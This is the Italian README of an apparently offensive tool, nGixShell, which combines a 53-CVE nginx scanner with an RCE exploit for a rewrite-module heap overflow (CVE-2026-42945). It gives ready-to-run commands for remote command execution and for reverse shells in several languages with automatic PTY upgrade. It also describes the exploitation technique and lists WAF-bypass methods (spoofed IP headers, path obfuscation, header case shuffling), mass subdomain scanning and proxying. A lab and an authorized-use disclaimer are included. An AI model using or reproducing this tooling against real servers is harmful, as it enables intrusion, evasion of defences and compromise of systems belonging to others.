
scanner CVE per nginx + framework di exploit RCE (CVE-2026-42945 + altre 16)
nGixShell è uno scanner per CVE di nginx e un framework di exploit RCE. Include una proof-of-concept funzionante per CVE-2026-42945 — un heap buffer overflow critico in ngx_http_rewrite_module — e uno scanner che copre 53 CVE di nginx con probe HTTP automatizzati, fingerprinting, rilevamento/bypass WAF, audit di sicurezza web e generazione di report.
Zero dipendenze esterne. Solo libreria standard Python 3.
# Avvia il laboratorio vulnerabile
docker compose -f env/docker-compose.yml up -d
# Modalità automatica — fingerprint + scansione CVE + audit web
python3 ngixshell.py 127.0.0.1:19321
# Esegui un comando via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Avvia una reverse shell (IP rilevato automaticamente)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Rileva e bypassa il WAF, poi scansiona
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Scansione sottodomini
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Più target da un file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Nessun flag richiesto — puntare lo strumento a un target esegue automaticamente tutto.
TLS è rilevato automaticamente. nginx viene fingerprintizzato anche con server_tokens off.
python3 ngixshell.py [TARGET] [OPZIONI]
Formati TARGET:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Descrizione |
|---|---|
--waf-detect | Rileva il WAF prima della scansione |
--waf-bypass | Abilita tutte le tecniche di bypass (esegue anche il rilevamento) |
--waf-ip IP | Spoofa questo IP negli header di bypass (default: RFC1918 casuale) |
Tecniche di bypass (tutte attive quando è impostato --waf-bypass):
WAF rilevati: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Viene eseguito automaticamente in modalità scansione. Tutti i moduli possono essere saltati singolarmente.
/nginx_status se esposto| Flag | Descrizione |
|---|---|
--port PORT | Sovrascrive la porta |
--tls |
| Flag | Descrizione |
|---|---|
--user-agent UA | User-Agent personalizzato |
--auth USER:PASS | Autenticazione HTTP Basic |
| Flag | Descrizione |
|---|---|
--rate-limit RPS | Massimo numero di richieste al secondo |
--jitter MS |
| Flag | Descrizione |
|---|---|
53 voci dal 2009 al 2026. Ordinate per CVSS.
Il motore degli script di rewrite di nginx usa un modello a due passate: calcola la dimensione del buffer, poi copia. Il flag is_args viene impostato sul motore principale quando una sostituzione rewrite contiene ?, ma la passata di calcolo della lunghezza viene eseguita su un sub-engine appena azzerato:
is_args = 0 → restituisce la lunghezza grezza della catturais_args = 1 → chiama ngx_escape_uri(NGX_ESCAPE_ARGS), espandendo ogni byte non sicuro a 3 byteLa copia fa overflow del buffer heap sottodimensionato con dati URI controllati dall'attaccante. L'exploitation corrompe un puntatore di cleanup adiacente di ngx_pool_t tramite heap feng shui tra richieste, reindirizzandolo a un falso ngx_pool_cleanup_s che chiama system() alla distruzione del pool.
| Prodotto | Vulnerabile | Corretta |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Advisory del vendor: https://my.f5.com/manage/s/article/K000160932
Testato su Ubuntu 24.04 LTS. Richiede Docker e Python 3.8+.
# Avvia il laboratorio vulnerabile (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Scansione completa
python3 ngixshell.py 127.0.0.1:19321
# RCE con output JSON
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — payload bash, auto-upgrade PTY
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Scansione con bypass WAF e IP spoofato
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Attraverso proxy SOCKS5
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Scansione sottodomini con rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Più target, output JSON, report HTML
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Solo per test di sicurezza autorizzati, competizioni CTF e ricerca.
| Flag | Descrizione |
|---|
| (nessuno) | Auto — fingerprint + scansione CVE + audit web |
--cmd 'CMD' | Esegui un comando via CVE-2026-42945 RCE |
--cmd-file FILE | Esegui comandi da file (uniti con ;) |
--shell | Avvia una reverse shell |
--shell-type TYPE | Payload: bash python perl php nc powershell (default: python) |
--upgrade-shell | Invia automaticamente l'upgrade PTY dopo la connessione della shell |
--subdomain-scan DOMAIN | Trova nginx vulnerabili nei sottodomini |
--cve CVE-ID | Testa una CVE specifica |
--list-cves | Stampa tutte le 53 CVE con CVSS e informazioni sui probe |
--list-candidates | Stampa i candidati per gli indirizzi heap |
--dry-run | Solo fingerprint + scansione, nessun exploit |
--target-file FILE | Scansiona più host da un file |
| Tecnica | Dettaglio |
|---|
| Spoofing IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotazione UA | 11 User-Agent reali di browser/bot, randomizzati per richiesta |
| Offuscamento del path | doppio slash, padding /./, percent-encoding, variazione di maiuscole/minuscole |
| Shuffle del case degli header | randomizza il casing dei nomi degli header per rompere il pattern matching del WAF |
| Flag | Descrizione |
|---|
--skip-headers | Salta l'audit degli header di sicurezza HTTP |
--skip-paths | Salta la scoperta di path/file |
--skip-vhosts | Salta l'enumerazione degli host virtuali |
--skip-tls | Salta l'audit del protocollo TLS |
--path-wordlist FILE | Path aggiuntivi da sondare (uno per riga) |
| Forza TLS (rilevato automaticamente di default) |
--proxy URL | Proxy: http://, https://, socks5:// |
--cookie VALUE |
| Header Cookie |
--header NAME:VALUE | Header aggiuntivo (ripetibile) |
| Ritardo casuale 0–MS ms tra le richieste |
--retry N | Riprova i probe inconcludenti (default: 1) |
--timeout-multiplier X | Scala tutti i timeout (default: 1.0) |
--output FILE| Scrive il log su FILE |
--json | Stampa un riepilogo JSON alla fine |
--html-report [FILE] | Genera un report HTML (default: ngixshell_<host>_<ts>.html) |
--verbose | Output di debug |
| CVE | CVSS | Componente | Descrizione |
|---|
| CVE-2026-42945 | 9.8 CRITICAL | rewrite | Heap overflow → RCE (exploitato) |
| CVE-2026-42946 | 8.1 HIGH | rewrite | Corruzione della memoria (stesso advisory) |
| CVE-2022-41741 | 7.8 HIGH | mp4 | Corruzione della memoria tramite mp4 malizioso |
| CVE-2016-1247 | 7.8 HIGH | packaging | Escalation di privilegi tramite symlink nei file di log |
| CVE-2021-23017 | 7.7 HIGH | resolver | Off-by-one heap overwrite |
| CVE-2026-40701 | 7.5 HIGH | request | Corruzione della memoria nell'elaborazione delle richieste |
| CVE-2026-42934 | 7.5 HIGH | request | Corruzione della memoria (stesso advisory) |
| CVE-2026-27784 | 7.5 HIGH | mp4 | Buffer overflow tramite mp4 modificato |
| CVE-2026-32647 | 7.5 HIGH | mp4 | Buffer overflow (gemello del precedente) |
| CVE-2024-24990 | 7.5 HIGH | HTTP/3 | Use-after-free nel modulo QUIC |
| CVE-2024-24989 | 7.5 HIGH | HTTP/3 | Null pointer dereference in QUIC |
| CVE-2024-31079 | 7.5 HIGH | HTTP/3 | Stack overflow nell'encoder QUIC |
| CVE-2024-32760 | 7.5 HIGH | HTTP/3 | Buffer overwrite tramite frame HEADERS |
| CVE-2022-41742 | 7.5 HIGH | mp4 | Divulgazione di memoria heap |
| CVE-2017-7529 | 7.5 HIGH | range filter | Integer overflow → lettura fuori dai limiti |
| CVE-2016-0746 | 7.5 HIGH | resolver | Use-after-free tramite risposta DNS modificata |
| CVE-2014-0133 | 7.5 HIGH | SPDY | Heap overflow nell'implementazione SPDY |
| CVE-2014-0088 | 7.5 HIGH | SPDY | Corruzione della memoria in SPDY |
| CVE-2013-4547 | 7.5 HIGH | core | Bypass URI con Spazio+NUL |
| CVE-2013-2028 | 7.5 HIGH | core | Stack overflow nella codifica chunked |
| CVE-2012-1180 | 7.5 HIGH | proxy | Use-after-free nel modulo proxy |
| CVE-2009-3555 | 7.5 HIGH | SSL | Iniezione di renegotiation TLS (MITM) |
| CVE-2009-2629 | 7.5 HIGH | core | Buffer underflow nel parsing dell'URI |
| CVE-2026-42926 | 6.5 MEDIUM | HTTP/2 | Request splitting tramite proxy |
| CVE-2026-27654 | 6.5 MEDIUM | WebDAV | Heap overflow nel modulo DAV |
| CVE-2026-28753 | 6.5 MEDIUM | Header injection nel proxy mail | |
| CVE-2026-1642 | 6.5 MEDIUM | proxy | Leak di riutilizzo della sessione SSL upstream |
| CVE-2019-9511 | 6.5 MEDIUM | HTTP/2 | Data Dribble DoS di CPU/memoria |
| CVE-2012-2089 | 6.8 MEDIUM | mp4 | Buffer overflow tramite richiesta mp4 |
| CVE-2018-16845 | 5.5 MEDIUM | mp4 | Integer underflow → crash + divulgazione |
| CVE-2019-20372 | 5.3 MEDIUM | proxy | HTTP request smuggling |
| CVE-2026-40460 | 5.3 MEDIUM | HTTP/3 | Spoofing della connessione QUIC |
| CVE-2026-28755 | 5.3 MEDIUM | SSL | Divulgazione di memoria nell'elaborazione OCSP |
| CVE-2025-23419 | 5.3 MEDIUM | SSL | Bypass del certificato nella riassunzione della sessione TLS |
| CVE-2024-35200 | 5.3 MEDIUM | HTTP/3 | Null pointer dereference |
| CVE-2024-34161 | 5.3 MEDIUM | HTTP/3 | Divulgazione di memoria |
| CVE-2016-4450 | 5.3 MEDIUM | core | Null pointer tramite body di richiesta chunked |
| CVE-2016-0742 | 5.0 MEDIUM | resolver | Puntatore non valido tramite pacchetto UDP modificato |
| CVE-2016-0747 | 5.0 MEDIUM | resolver | Limite di risoluzione CNAME insufficiente |
| CVE-2014-3556 | 5.0 MEDIUM | Iniezione di comandi STARTTLS | |
| CVE-2013-2070 | 5.3 MEDIUM | proxy | Divulgazione della risposta del backend |
| CVE-2011-4963 | 5.0 MEDIUM | access | Bypass del controllo di accesso con literal IPv6 |
| CVE-2011-4315 | 5.0 MEDIUM | resolver | Heap overflow tramite risposta DNS modificata |
| CVE-2009-3896 | 5.0 MEDIUM | core | Null pointer dereference DoS |
| CVE-2025-53859 | 4.3 MEDIUM | Iniezione di comandi SMTP | |
| CVE-2014-3616 | 4.3 MEDIUM | SSL | Confusione di host virtuale TLS SNI |
| CVE-2026-27651 | 4.3 MEDIUM | Null pointer dereference nel proxy mail | |
| CVE-2019-9513 | 4.3 MEDIUM | HTTP/2 | Resource Loop DoS di CPU |
| CVE-2019-9516 | 4.3 MEDIUM | HTTP/2 | Esaurimento della memoria con header a 0 lunghezza |
| CVE-2018-16843 | 4.3 MEDIUM | HTTP/2 | Consumo eccessivo di memoria |
| CVE-2018-16844 | 4.3 MEDIUM | HTTP/2 | CPU eccessiva tramite frame SETTINGS |
| CVE-2024-7347 | 4.7 MEDIUM | mp4 | Lettura fuori dai limiti |
| CVE-2009-3898 | 4.9 MEDIUM | WebDAV | Directory traversal tramite COPY/MOVE |